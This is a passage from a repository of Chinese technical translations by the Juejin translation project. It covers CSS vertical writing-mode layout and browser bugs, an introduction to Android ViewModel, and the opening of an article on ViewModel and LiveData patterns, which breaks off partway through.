``` 这一个合理、体面的基准。现在我们可以调查 `writing-mode` 的行为了。 ### vertical-rl 的含义 每一个元素的 `writing-mode` 的默认值都是 `horizontal-tb`,而且它是一个继承属性。如果你设置了一个元素的 `writing-mode`,这个值将传递到它所有的子元素。 如果我们将 `main` 元素的 `writing-mode` 设置为 `vertical-rl` ,在每个浏览器上,所有的文字和图像都被正确渲染了。Firefox 有 15px 轻微的垂直溢出,我怀疑是因为滚动条,不过我不能确定。其它的浏览器一点水平溢出都没有。 ![vertical-rl on the main element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/main-640.jpg) `main` 元素是垂直书写模式的同时,document 本身是水平书写模式,就会产生问题,意味着内容从左边开始,而且我们最终会看到第一次加载的文章的末尾。 所以,让我们把东西提升一个层级,在 `body` 上设置 `writing-mode: vertical-rl`。Chrome,Safari 和 Edge 如我们所想从右到左渲染内容。但是 Firefox 仍然显示文章的末尾,尽管这确实修复了滚动条溢出的问题,它看起来和 [Bug 1102175](https://bugzilla.mozilla.org/show_bug.cgi?id=1102175)有关。 ![vertical-rl on the body element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/body-640.jpg) 最后,如果我们将 `html` 设置 `writing-mode: vertical-rl`,Firefox 终于正常并从右到左显示了,而且没有搞笑的溢出。And lastly, if we apply `writing-mode: vertical-rl` to the `html` element, Firefox finally comes around and reads from right-to-left. Also, no funny overflowing, just vertical right-to-left goodness. ![vertical-rl on the html element](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/html-640.jpg) IE11 支持书写模式属性,只不过使用[较早的规范](https://www.w3.org/TR/2003/CR-css3-text-20030514/#Progression)中定义的旧语法 `-ms-writing-mode: tb-rl`。这工作正常,但我由于现在使用的 `main` 标签 IE11 并不支持,切换器失效了。甚至将 `main` 标签设置成 `display: block` 都无法修复。我可以为了更好的兼容性将 `main` 替换成 `div`。让我考虑一下。 ## 布局切换 由于 Firefox 有已知的垂直书写的弹性盒模型的问题,所以我将把调试任务分成两个部分,一是纯粹的布局。找出使切换器正常工作的不同方法,而且没有任何奇怪的溢出。 第二个部分将与图像居中有关,这让我陷入混乱。除了居中,我还想调整图像的方向,它是让我首先重温 [RICG 用例汇总](https://github.com/ResponsiveImagesCG/ri-usecases/issues/63)的原因。#不起眼的注脚 ### 解决方案 #1: Javascript 让我们先来尝试回避的解决方案,既然问题出在混用书写模式,也许我们可以停止混用。基于我们上面的观察,用一个 Javascript 事件监听器去切换 html 元素的 CSS 类可以隐性修复许多奇怪的渲染问题。好了,代码时间到。 我想切换的两个类的类名简单地叫做 `vertical` 和 `horizontal`。既然我已经有了复选框,也许也可以用作类的切换器。 ``` document.addEventListener('DOMContentLoaded', function() { const switcher = document.getElementById('switcher') switcher.onchange = changeEventHandler }, false) function changeEventHandler(event) { const isChecked = document.getElementById('switcher').checked const container = document.documentElement if (isChecked) { container.className = 'vertical' } else { container.className = 'horizontal' } } ``` 将内容块居中完成得很好。因为再也没有嵌套的书写模式或者弹性盒模型。直接的自动 margin 在所有浏览器中都完美实现了居中,甚至 Firefox。 ``` .vertical { writing-mode: vertical-rl; main { max-height: 35em; margin-top: auto; margin-bottom: auto; } } .horizontal { writing-mode: horizontal-tb; main { max-width: 40em; margin-left: auto; margin-right: auto; } } ``` ![Auto margins for vertical centring](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/centred2-640.jpg) 有趣的是,在垂直书写模式,我们可以用 `margin-top: auto` 和 `margin-bottom: auto` 来垂直居中。但相信我,水平居中将比你想象的更令人痛苦。在下一个 hack 复选框的部分你将看到。 **意外的 TIL**: Microsoft Edge 遵守 ECMAScript5「**严格模式下不允许分配只读属性**」的规范,但是 Chrome 和 Firefox 在严格怪异模式下仍然允许,很可能是为了代码兼容。我最初尝试使用 `classList` 来切换类名,但它是一个只读属性,而 `className` 则不是。相关阅读在[下面的链接](#further-reading)。 ### 解决方案 2: 复选框 hack 这个方案的原理类似使用 Javascript,区别在于我们不使用 CSS 类来改变状态,而是使用 `:checked` 伪元素。如我们前面所讨论的,复选框元素必须和 `main` 元素在同一层级才会生效。 ``` .c-switcher__checkbox:checked ~ main { max-height: 35em; margin-top: auto; margin-bottom: auto; } .c-switcher__checkbox:not(:checked) ~ main { writing-mode: horizontal-tb; max-width: 40em; margin-left: auto; // 无效 margin-right: auto; // 无效 } ``` 布局代码与 `.vertical` 和 `.horizontal` 一样,但,结果却不一样。垂直居中是好的,看起来好像是我们在用 Javascript。但是水平居中歪向了右边。自动 margin 在这一部分似乎完全没有发挥作用。 但仔细一想,这其实是「正确」的行为,因为我们同样不能用这种方式在水平书写模式下实现垂直居中。为什么呢?让我们来看一下规范。 所有的 CSS 属性都有值,一旦你的浏览器解析了一个文档并构建了 DOM 树,每个元素的每个属性都需要赋值。[Lin Clark](http://lin-clark.com/) 写了[一个精彩的代码漫画](https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/)来解释 CSS 引擎如何工作,你不能错过它!话说回来,值,规范里说: > 一个属性的最终值是**四步计算**的结果:首先通过规范确定值(「**指定值**」),然后解析为一个用于继承的值(「**计算值**」),然后如果有必要,转换成绝对值(「**使用值**」),最后依据具体场景限制再做转换(「**实际值**」)。 与此同时,依据规范,[高度和 margin 的计算](https://www.w3.org/TR/CSS2/visuren.html#relative-positioning)由各类盒模型的许多规则决定的。如果上下的值同时为 auto,它们的使用值将被解析成 `0`。 ![Margins resolving to zero](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/zero-640.jpg) 当我们将书写模式设置成垂直,「height」似乎在计算的时候会变成水平坐标。我说似乎是因为我并不百分百确定它真的是这样计算的。它让我觉得 Javascript 解决方案很神奇。 开个玩笑,实际上因为我们在 Javascript 解决方案中没有混用书写模式,所以将各自的值解析为 `0` 并不影响我们想要的居中效果。可能你需要重读这一句话几次 🤷。 想要在切换到垂直书写模式的时候将 `main` 元素水平居中,我们需要使用好的变换技巧。 ``` .c-switcher__checkbox:not(:checked) ~ main { position: absolute; top: 0; right: 50%; transform: translateX(50%); } ``` 这在 Chrome,Firefox 和 Safari 上可行。不幸的是,Edge 上有点毛病,东西都歪向页面中间的某个地方以及左边。是时候记录下这个 Edge 的 bug。另外,滚动条出现在了左侧而不是右侧。 ![Seems to be buggy on Edge](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/troublemaker-640.jpg) ## 处理图像对齐 好了,继续。当在垂直书写模式时,我希望有两张图片的 figure 元素堆叠显示,而在水平书写模式中,如果空间允许,则并排显示。理想情况下,figure 元素(图像和标题)将在各自的书写模式下居中。 ### 经典的属性 既然我们正在一个干净的页面工作,让我们试试最基础的居中技术:`text-align`。默认情况下,图像和文本是内联元素。给 figure 元素设置 `text-align: center`,天呐,成功了 😱! 水平和垂直书写模式下的图像都已经成功地居中了。我现在非常怀疑一年前我做这个的时候的智商。显然,为了我的目的和意图,弹性盒模型是不必要的。我首先尝试了新的技术,但它让我付出了代价。 真是醉了 🥃。 在水平书写模式中,不需要添加太多东西。只是一个简单的 `margin-bottom: 1em`,给 figure 之间留空间。由于空间关系,我确实需要将竖直的图像旋转,在这里我使用 transform 的 rotate 来完成。 ``` .vertical { figure { margin-bottom: 1em; } figcaption { max-width: 30em; margin: 0 auto; display: inline-block; text-align: justify; } .img-rotate { transform: rotate(-90deg); } } ``` 问题是,当你旋转了一个元素,浏览器仍然会记住它原来的宽高(我想),所以在我的 demo 中,当视窗变得非常窄的时候,它将触发水平溢出。可能有办法修复这个问题,但我没有找到。欢迎指教。 这就是我将为 RICG 编写的用例。想法是,如果可以通过媒体查询得到书写模式,我就可以使用 `srcset` 定义一个垂直的图像和一个水平的图像,分别为对应的书写模式提供图片。 在垂直书写模式中,我们通常希望文字整齐,或者至少在短行上对齐半孤立的字符。然后文字间的空隙,margin 应该设置为 left 而不是 bottom。 ``` .vertical { figure { margin-left: 1em; } figcaption { max-height: 30em; margin: auto 0.5em; display: inline-block; text-align: justify; } } ``` 现在我们几乎可以称之为圆满的一天。最终结果已经实现了目标。我想补充说的是,除了我之前提到的 Edge 缺陷之外,无论 Javascript 方案还是复选框 hack 方案都是完全相同的。 ### 使用弹性盒模型居中 我怀疑我选择弹性盒模型实现居中的理由,尽管老实说我想不起来到底为什么我觉得这是一个好主意。显然,我不需要弹性盒模型的任何特点。那我应该也做个大脑转储? 但看了一眼我的源码,我才发现我给包裹图像的应该堆叠的 `div` 设置了 `display: flex`,这让图像成为了弹性容器的子元素,导致 Firefox 的垂直书写模式渲染混乱。 ![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ffbug-640.jpg) 使用这种方法,东西看上去都很美好,而且我测试过的 Chrome,Edge 以及 Safari 的所有版本(前面提到的列表)都可行,因此图像在垂直和水平两种模式下都居中对齐。但 Firefox 不行,真的,切换到垂直书写模式时,图片在我的页面上不可见,虽然在水平模式下很好。 ![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/ffbug2-640.jpg) 我已经用 `display: flex` 的 `div` 包裹了应该堆叠显示的图像,但不知为何在 Firefox 的垂直模式下搞砸了。我怀疑这个行为和这些 bug 有关:[Bug 1189131](https://bugzilla.mozilla.org/show_bug.cgi?id=1189131), [Bug 1223180](https://bugzilla.mozilla.org/show_bug.cgi?id=1223180), [Bug 1332555](https://bugzilla.mozilla.org/show_bug.cgi?id=1332555), [Bug 1318825](https://bugzilla.mozilla.org/show_bug.cgi?id=1318825) 和 [Bug 1382867](https://bugzilla.mozilla.org/show_bug.cgi?id=1382867)。 与此同时,我对 Firefox 下,在垂直书写模式中作为弹性容器子元素的图像的效果产生了好奇。好像浏览器直接对你说不 ♀️ 🙅 💩。 ![Flexbox issue with vertical writing-mode on Firefox](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/whoa-640.jpg) 抛开垂直书写模式,我和 [Jen Simmons](http://jensimmons.com/) 交流过不同浏览器的 flexbox 实现,她发现在所有的浏览器中,缩小图像的处理都是不同的。[这个问题](https://github.com/w3c/csswg-drafts/issues/1322)仍在 CSS 工作组中讨论,敬请期待更新。 这个缩小的问题与固有尺寸的概念有关,尤其是含有固有长宽比例的图像。CSS 工作组对此有过[相当长的讨论](https://github.com/w3c/csswg-drafts/issues/1112),因为这不是一个小问题。 Firefox 上一个有趣的观察是,弹性容器的宽被视窗的宽度限制,但目前没有在别的浏览器上发现这个问题。当容器内所有的图片的宽度之和超过了视窗宽度,在 Firefox 上,图像会缩小以适应宽度,但在别的所有的浏览器上,它们只会溢出然后你会得到一个水平滚动条 🤔。 为了暂时避免这个问题,我要确保我的图像都不是弹性容器的子元素。所有的图像,无论是单还是双,都被包裹在额外的 `div`中。`figure` 元素设置了 `display: flex` 属性,让 `figcaption` 和包裹图像的 `div` 成为弹性容器的子元素而不是图像本身。 ``` .vertical { writing-mode: vertical-rl; main { max-height: 35em; margin-top: auto; margin-bottom: auto; } figure { flex-direction: column; align-items: center; margin-left: 1em; } figcaption { max-height: 30em; margin-left: 0.5em; } .img-single { max-height: 20em; } } .horizontal { writing-mode: horizontal-tb; main { max-width: 40em; margin-left: auto; margin-right: auto; } figure { flex-wrap: wrap; justify-content: center; margin-bottom: 1em; } figcaption { max-width: 30em; margin-bottom: 0.5em; } .img-wrapper img { vertical-align: middle; } .img-single { max-width: 20em; } .img-rotate { transform: rotate(-90deg); } } ``` 复选框 hack 的实现完全一样。我从中学习到的是,浏览器对于元素的区域计算需要下很大功夫,尤其是具有固有尺寸比例的。 ### Grid 怎么样? 我们已经在布局所需上走了很远,所以我考虑尝试使用 Grid 来实现图像对齐。我们可以尝试让每个 `figure` 都成为一个 grid 容器,或许可以用上 `grid-area` 和 `fit-content` 这些有趣的属性让东西对齐。 不幸的是,十分钟的尝试之后,我脑袋炸了。Firefox 的 grid 调试器并不能匹配我页面上的元素,但也有可能是因为页面上太多东西了。 ![Grid inspector tool issue in vertical writing-mode](https://www.chenhuijing.com/assets/images/posts/vertical-typesetting/gridtool-640.jpg) 我需要为使用 grid 的垂直书写模式创建一个简化的测试用例,那将是一个简单得多的 demo,我还会单独写一篇文章(可能还有相关的错误报告)。 ## 成功的解决方案? 当前完成的我的[独立 demo](https://www.chenhuijing.com/zh-type/) 使用的是不用弹性盒模型的复选框 hack 解决方案。我将保留复选框 hack 的版本以追踪 Edge 的 bug。但弹性盒模型解决方案,如果你不介意多余的包裹,也是可以的。用于 Javascript 实现的标记也看起来更好,因为你将切换器包裹在一个 `div` 中然后写样式。 在最后,有很多方法可以实现同样的结果。从别的地方拷贝代码也可以,但是出现莫名其妙的问题就麻烦了。你不必从头开始编写所有东西,但要确保里面没有无法破译的「魔法」。 说说而已 😎。 ## 延伸阅读 * [严格模式下不允许分配只读属性](https://devtidbits.com/2016/06/12/assignment-to-read-only-properties-is-not-allowed-in-strict-mode/) * [内置的超快 CSS 引擎: Quantum CSS (又称 Stylo)](https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/) * [CSS 写作模式 级别三](https://www.w3.org/TR/css-writing-modes-3/) * [CSS 弹性盒模型布局 模块 级别一 编辑草案](https://drafts.csswg.org/css-flexbox/) * [CSS 内部与外部尺寸 模块 级别三](https://www.w3.org/TR/css-sizing-3/) ## 问题和错误列表 * [Firefox Bug 1102175: writing-mode 为 vertical-rl 的``元素子元素不向右对齐](https://bugzilla.mozilla.org/show_bug.cgi?id=1102175) * [Firefox Bug 1189131: 当书写模式为vertical-rl时,flex align-items center会移动文本](https://bugzilla.mozilla.org/show_bug.cgi?id=1189131) * [Firefox Bug 1223180: Flex + 垂直书写模式: flex 元素 / 文本 消失](https://bugzilla.mozilla.org/show_bug.cgi?id=1223180) * [Firefox Bug 1332555: [书写模式] 垂直书写模式的子元素固有大小错误,因此重绘后大小不适](https://bugzilla.mozilla.org/show_bug.cgi?id=1332555) * [Firefox Bug 1318825: [css-flexbox] 垂直书写模式下 Flex 元素在水平弹性容器中宽度错误](https://bugzilla.mozilla.org/show_bug.cgi?id=1318825) * [Firefox Bug 1382867: 书写模式和弹性盒模型的布局问题](https://bugzilla.mozilla.org/show_bug.cgi?id=1382867) * [CSSWG Issue #1322: [css-flexbox] 与图像缩小不兼容](https://github.com/w3c/csswg-drafts/issues/1322) * [Chromium Issue 781972: 调整大小时,图像不保留宽高比](https://bugs.chromium.org/p/chromium/issues/detail?id=781972) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/viewmodels-a-simple-example.md ================================================ > * 原文地址:[ViewModels : A Simple Example](https://medium.com/google-developers/viewmodels-a-simple-example-ed5ac416317e) > * 原文作者:[Lyla Fujiwara](https://medium.com/@lylalyla?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-a-simple-example.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-a-simple-example.md) > * 译者:[huanglizhuo](https://github.com/huanglizhuo) > * 校对者:[chuanxing](https://github.com/zhaochuanxing) [miguoer](https://github.com/miguoer) # ViewModels 简单入门 ### 简介 两年前,我在做 [给 Android 入门的课程](https://www.udacity.com/course/android-development-for-beginners--ud837),教零基础学生开发 Android App。其中有一部分是教学生构建一个简单 App 叫做 [Court-Counter](https://github.com/udacity/Court-Counter). Court-Counter 是一个只有几个按钮来修改篮球比赛分数的 App。最终的App有一个bug,如果你旋转手机,当前保存的分数会莫名归零。 ![](https://cdn-images-1.medium.com/max/800/1*kZ5CiWnpSC0-aQeModzpNA.gif) 这是什么原因呢?因为旋转设备会导致 App 中一些 [**配置发生改变**](https://developer.android.com/guide/topics/manifest/activity-element.html#config) ,比如键盘是否可用,变更设备语言等。这些配置的改变都会导致 Activity 被销毁重建。 这种表现可以让我们在做一些特殊处理,比如设备旋转时变更为横向特定布局。 然而对于新手(有时候老鸟也是)工程师来说,这可能会让他们头疼。 在 Google I/O 2017,Android Framework团队推出了一套 Architecture Components 的工具集,其中一个处理设备旋转的问题。 [**ViewModel**](https://developer.android.com/reference/android/arch/lifecycle/ViewModel.html) 类旨在以有生命周期的方式保存和管理与UI相关的数据。 这使得数据可以在屏幕旋转等配置变化的情况下不丢失。 这篇文章是详细探索ViewModel系列文章中的第一篇。 在这篇文章中,我会: - 解释ViewModel满足的基本需求 - 通过更改 Court-Counter 代码以使用 ViewModel 解决旋转问题 - 仔细审视 ViewModel 和 UI 组件的关联 ### 潜在的问题 潜在的挑战是 [Android Activity 生命周期](https://developer.android.com/guide/components/activities/activity-lifecycle.html) 中有很多状态,并且由于配置更改,单个Activity可能会多次循环进入这些不同的状态。 ![](https://cdn-images-1.medium.com/max/800/1*CGGROXWhl8dTko1GdDeFsA.png) Activity 会经历所有这些状态,也可能需要把暂时的用户界面数据存储在内存中。这里将把临时UI数据定义为UI所需的数据。例子中包括用户输入的数据,运行时生成的数据或者是数据库加载的数据。这些数据可以是bitmap, RecyclerView 所需的对象列表等等,在这个例子中,是指篮球得分。 以前你可能用过 [onRetainNonConfigurationInstance](https://developer.android.com/reference/android/app/Activity.html#onRetainNonConfigurationInstance%28%29) 方法在配置更改期间保存和恢复数据。但是,如果你的数据不需要知道或管理 Activity 所处的生命周期状态,这样写会不会导致代码过于冗杂?如果 Activity 中有一个像scoreTeamA 这样的变量,虽然与 Activity 生命周期紧密相连,但又存储在Activity之外的地方呢?**这就是 ViewModel 类的目的**。 在下面的图表中,可以看到一个 Activity 的生命周期,该 Activity 经历了一次旋转,最后被 finish 掉。 ViewModel 的生命周期显示在关联的Activity生命周期旁边。注意,ViewModels 可以很简单的用与Fragments 和 Activities,,这里称他们为 UI 控制器。本示例着重于 Activities。 ![](https://cdn-images-1.medium.com/max/800/1*3Kr2-5HE0TLZ4eqq8UQCkQ.png) ViewModel从你首次请求创建ViewModel(通常在onCreate的Activity)时就存在,直到Activity完成并销毁。Activity 的生命周期中,onCreate可能会被调用多次,比如当应用程序被旋转时,但 ViewModel 会一直存在,不会被重建。 ### 一个简单的例子 分三步骤来设置和使用ViewModel: 1. 通过创建一个扩展 ViewModel 类来从UI控制器中分离出你的数据 2. 建立你的 ViewModel 和UI控制器之间的通信 3. 在 UI 控制器中使用你的 ViewModel #### 第一步: 创建 ViewModel 类 一般来讲,需要为每个界面都创建一个ViewModel类。这个ViewModel类将保存与该屏相关的所有数据,提供 getter 和 setter。这样就将数据与 UI 显示逻辑分开了,UI逻辑在Activities 或 Fragments中,数据保存在 ViewModel 中。好了,接下来为 Court-Counter 中的一个屏创建ViewModel类: ``` public class ScoreViewModel extends ViewModel { // Tracks the score for Team A public int scoreTeamA = 0; // Tracks the score for Team B public int scoreTeamB = 0; } ``` 为了简洁,这里我采用了公共成员存储在ScoreViewModel.java中,也可以选择用 getter 和 setter 来更好地封装数据。 #### 第二步:关联UI控制器和ViewModel 你的UI控制器(Activity或Fragment)需要访问你的ViewModel。这样,UI控制器就可以在UI交互发生时显示和更新数据,例如按下按钮以增加 Court-Counter 中的分数。 ViewModels不应该持有 Activities ,Fragments 或者 [**Context**](https://developer.android.com/reference/android/content/Context.html) 的引用。 此外,ViewModels也不应包含包含对UI控制器(如Views)引用的元素,因为这将创建对Context的间接引用。 之所以不这样做是因为,ViewModel 比 UI控制器生命周期长,比如你旋转一个Activity三次,会得到三个不同的Activity实例,但ViewModel只有一个。 基于这一点,我们来创建 UI控制器/ ViewMode l的关联。在UI控制器中将 ViewModel 创建为一个成员变量。然后在 onCreate中这样调用: ``` ViewModelProviders.of().get(.class) ``` 在 Court-Counter 例子中,会是这样: ``` @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mViewModel = ViewModelProviders.of(this).get(ScoreViewModel.class); // Other setup code below... } ``` **注意:** 这里对 “no contexts in ViewModels” 规则有个例外。有时候你可能会需要一个 [**Application context**](https://developer.android.com/reference/android/content/Context.html#getApplicationContext%28%29)(as opposed to an Activity context) 调用系统服务。这种情况下在 ViewModel 中持有 Application context 是没问题的,因为 Application context 是存在于 App 整个生命周期的,这点与 Activity context 不同, Activity context 只存在与 Activity 的生命周期。事实上,如果你需要 Application context,最好继承 [**AndroidViewModel**](https://developer.android.com/reference/android/arch/lifecycle/AndroidViewModel.html) ,这是一个持有 Application 引用的 ViewModel。 #### 第三步:在 UI 控制器中使用 ViewModel 要访问或更改UI数据,可以使用ViewModel中的数据。下面是一个新的 onCreate 方法的示例,以及一个增加 team A 分数的方法: ``` // The finished onCreate method @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mViewModel = ViewModelProviders.of(this).get(ScoreViewModel.class); displayForTeamA(mViewModel.scoreTeamA); displayForTeamB(mViewModel.scoreTeamB); } // An example of both reading and writing to the ViewModel public void addOneForTeamA(View v) { mViewModel.scoreTeamA = mViewModel.scoreTeamA + 1; displayForTeamA(mViewModel.scoreTeamA); } ``` **tips:** ViewModel 也可以很好地与另一个架构组件 [LiveData](https://developer.android.com/reference/android/arch/lifecycle/LiveData.html) 一起工作,在这个系列中我不会深入探索。使用LiveData 的额外好处是它是可观察的:它可以在数据改变时触发UI更新。可以在[这里](https://developer.android.com/topic/libraries/architecture/livedata.html)了解更多关于LiveData的信息。 ### 进一步审视 `ViewModelsProviders.of` 第一次调用 [ViewModelProviders.of](https://developer.android.com/reference/android/arch/lifecycle/ViewModelProviders.html#of%28android.support.v4.app.Fragment%29) 方法是在 MainActivity 中,创建了一个新的 ViewModel 实例。每次调用 `onCreate` 方法都会再次调用这个方法。它会返回之前 Court-Counter MainActivity 中创建的 ViewModel。 这就是它持有数据的方式。 只有给 UI controller 提供正确的UI控制器作为参数才可以。切记不要在 ViewModel 内存储 UI 控制器,ViewModel 会在后台跟踪 UI 控制器实例和 ViewModel 之间的关联。 ``` ViewModelProviders._of_(****).get(ScoreViewModel.**class**); ``` 这可以让你有一个应用程序,打开同一个 Activity or Fragment 的不同实例,但具有显示不同的 ViewModel 信息。让我们想象一下,如果我们扩展 Court-Counter 程序,使其可以支持不同的篮球比赛得分。比赛呈现在列表里,然后点击列表中的比赛就会开启一屏与 MainActivity 一样的画面,后面我就叫它 GameScoreActivity。 对于你打开的每一个不同的比赛画面,在 onCreate 中关联ViewModel和GameScoreActivity 后,它将创建不同的 ViewModel 实例。旋转其中一个屏幕,则保持与同一个ViewModel的连接。 ![](https://cdn-images-1.medium.com/max/800/1*uQ6XDm4Ga14SJWlCb27rkg.png) 所有这些逻辑都是通过调用 `ViewModelProviders.of().get(.class)` 实现的。 你只需要传递正确的UI 控制器实例就好。 **最后的思考**:ViewModel非常好的把你的UI控制器代码与UI的数据分离出来。 这就是说,它并不是能完成数据持久化和保存App 状态的工作。 在下一篇文章中,我将探讨Activity生命周期与ViewModels之间的微妙交互,以及 ViewModel 与 onSaveInstanceState 进行比较。 ### 结论和进一步的学习 在这篇文章中,我探索了新的ViewModel类的基础知识。关键要点是: - ViewModel类旨在一个连续的生命周期中保存和管理与UI相关的数据。这使得数据可以在屏幕旋转等配置变化的情况下得以保存。 - ViewModels将UI实现与 App 数据分离开来。 - 一般来说,如果某屏应用中有瞬态数据,则应该为该屏的数据创建一个单独的ViewModel。 - ViewModel的生命周期从关联的UI控制器首次创建时开始,直到完全销毁。 - 不要将UI控制器或 Context 直接或间接存储在ViewModel中。这包括在ViewModel中存储 View。对UI控制器的直接或间接引用违背了从数据中分离UI的目的,并可能导致内存泄漏。 - ViewModel对象通常会存储LiveData对象,您可以在 [这里](https://developer.android.com/topic/libraries/architecture/livedata.html)了解更多。 - [ViewModelProviders.of](https://developer.android.com/reference/android/arch/lifecycle/ViewModelProviders.html#of%28android.support.v4.app.Fragment%29) 方法通过作为参数传入的 UI控制器与 ViewModel 进行关联。 想要了解更多 ViewModel 化的好处? 可以进一步阅读下面文章: * [Instructions for adding the gradle dependencies](https://developer.android.com/topic/libraries/architecture/adding-components.html) * [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) documentation * Guided ViewModel practice with the [Lifecycles Codelab](https://codelabs.developers.google.com/codelabs/android-lifecycles/#0) 架构组件是根据大家的反馈创建的。 如果你对 ViewModel 或任何架构组件有任何疑问或意见,请查看我们的 [反馈页面](https://developer.android.com/topic/libraries/architecture/feedback.html).。 有关这个系列的问题或建议? 发表评论! 感谢 [Mark Lu](https://medium.com/@marklu_44193?source=post_page), [Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_page), 以及 [Daniel Galpin](https://medium.com/@dagalpin?source=post_page). --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/viewmodels-and-livedata-patterns-antipatterns.md ================================================ > * 原文地址:[ViewModels and LiveData: Patterns + AntiPatterns](https://medium.com/google-developers/viewmodels-and-livedata-patterns-antipatterns-21efaef74a54) > * 原文作者:[Jose Alcérreca](https://medium.com/@JoseAlcerreca?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-and-livedata-patterns-antipatterns.md](https://github.com/xitu/gold-miner/blob/master/TODO/viewmodels-and-livedata-patterns-antipatterns.md) > * 译者:[boileryao](https://github.com/boileryao) > * 校对者:[Zhiw](https://github.com/Zhiw) [miguoer](https://github.com/miguoer) # ViewModel 和 LiveData:为设计模式打 Call 还是唱反调? ## View 层和 ViewModel 层 ### 分离职责 ![](https://cdn-images-1.medium.com/max/800/1*I9WPcnpGNuI4CjxxrkP0-g.png) *用 Architecture Components 构建的 APP 中实体的典型交互* 理想情况下,ViewModel 不应该知道任何关于 Android 的事情(如Activity、Fragment)。 这样会大大改善可测试性,有利于模块化,并且能够减少内存泄漏的风险。一个通用的法则是,你的 ViewModel 中没有导入像 `android.*`这样的包(像 `android.arch.*` 这样的除外)。这个经验也同样适用于 MVP 模式中的 Presenter 。 > ❌ 不要让 ViewModel(或Presenter)直接使用 Android 框架内的类 条件语句、循环和一般的判定等语句应该在 ViewModel 或者应用程序的其他层中完成,而不是在 Activity 或 Fragment 里。视图层通常是没有经过单元测试的(除非你用上了 [Robolectric](http://robolectric.org/)),所以在里面写的代码越少越好。View 应该仅仅负责展示数据以及发送各种事件给 ViewModel 或 Presenter。这被称为 [ Passive _View_](https://martinfowler.com/eaaDev/PassiveScreen.html) 模式。(忧郁的 View,哈哈哈) > ✅ 保持 Activity 和 Fragment 中的逻辑代码最小化 ### ViewModel 中的 View 引用 [ViewModel](https://developer.android.com/topic/libraries/architecture/viewmodel.html) 的生命周期跟 Activity 和 Fragment 不一样。当 ViewModel 正在工作的时候,一个 Activity 可能处于自己 [生命周期](https://developer.android.com/guide/components/activities/activity-lifecycle.html) 的任何状态。 Activity 和 Fragment 可以被销毁并且重新创建, ViewModel 将对此一无所知。 ![](https://cdn-images-1.medium.com/max/800/1*86RjXnTJucJMkW4Xi4kUlA.png) ViewModel 对配置的重新加载(比如屏幕旋转)具有“抗性” ↑ 把视图层(Activity 或 Fragment)的引用传递给 ViewModel 是有 **相当大的风险** 的。假设 ViewModel 从网络请求数据,然后由于某些问题,数据返回的时候已经沧海桑田了。这时候,ViewModel 引用的视图层可能已经被销毁或者不可见了。这将产生内存泄漏甚至引起崩溃。 > ❌ 避免在 ViewModel 里持有视图层的引用 推荐使用**观察者模式**作为 ViewModel 层和 View 层的通信方式,可以使用 LiveData 或者其他库中的 Observable 对象作为被观察者。 ### 观察者模式 ![](https://cdn-images-1.medium.com/max/800/1*hjvCDY_2W4PpK7HQoHsS2Q.png) 一个很方便的设计 Android 应用中的展示层的方法是让视图层(Activity 或 Fragment)去观察 ViewModel 的变化。由于 ViewModel 对 Android 一无所知,它也就不知道 Android 是多么频繁的干掉视图层的小伙伴。这样有几个好处: 1. ViewModel 在配置重新加载(比如屏幕旋转)的时候是不会变化的,所以没有必要从外部(比如网络和数据库)重新获取数据。 2. 当耗时操作结束后,ViewModel 中的“被观察者”被更新,无论这些数据**当前**有没有观察者。这样不会有尝试直接更新不存在的视图的情况,也就不会有 `NullPointerException`。 3. ViewModel 不持有视图层的引用,这大大减少了内存泄漏的风险。 ``` private void subscribeToModel() { // Observe product data viewModel.getObservableProduct().observe(this, new Observer() { @Override public void onChanged(@Nullable Product product) { mTitle.setText(product.title); } }); } ``` Activity / Fragment 